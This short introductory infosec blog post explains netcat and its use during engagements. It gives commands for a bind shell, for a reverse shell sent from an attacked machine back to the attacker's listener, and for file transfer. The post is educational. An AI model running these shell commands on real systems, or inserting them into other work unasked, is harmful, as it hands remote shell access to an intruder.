cjc.im / posts / Infosec Intro- Netcat aka nc

This post I am going to focus on Netcat, the tcp/ip swiss army knife

What is it

Netcat is described as the swiss army knife of tcp/ip, it's great for setting up adhoc servers for a multitude of reasons

Why

At some point in an engagement, you are going to want to send a file, setup a quick bind shell, or reverse shell. This is where nc will come in and be the savior your require. Even better, busybox, which is used in a lot of embedded environments, also has an implementation of netcat that will allow for some of these shenanigans.

Examples

The flags that I tend to use most often are:

To make a bind shell, that is a shell that listens on a port you can do:

nc -nlvp 1337 -e /bin/bash

Be aware this would allow someone to connect to port 1337 and have a shell as the user running the nc command. But what if the box you are able to run commands on is firewalled off? You can then 'send' a reverse shell back to a box you control.

On your machine listen for incoming connections:

nc -nlvp 1337

and then on the machine you are attacking

nc 1.2.3.4 1337 -e /bin/sh

which will 'send' the shell to you! great! You can also use nc to send a file to another machine, on the recieving machine:

nc -nlvp 1337 > incoming.file

and then on the sending machine

nc other.machines.public.ip < file.to.send

Sadly, there will be no progress, so you will have to verify this by other means that it has sent correctly.

References

Tags: infosec infosecintro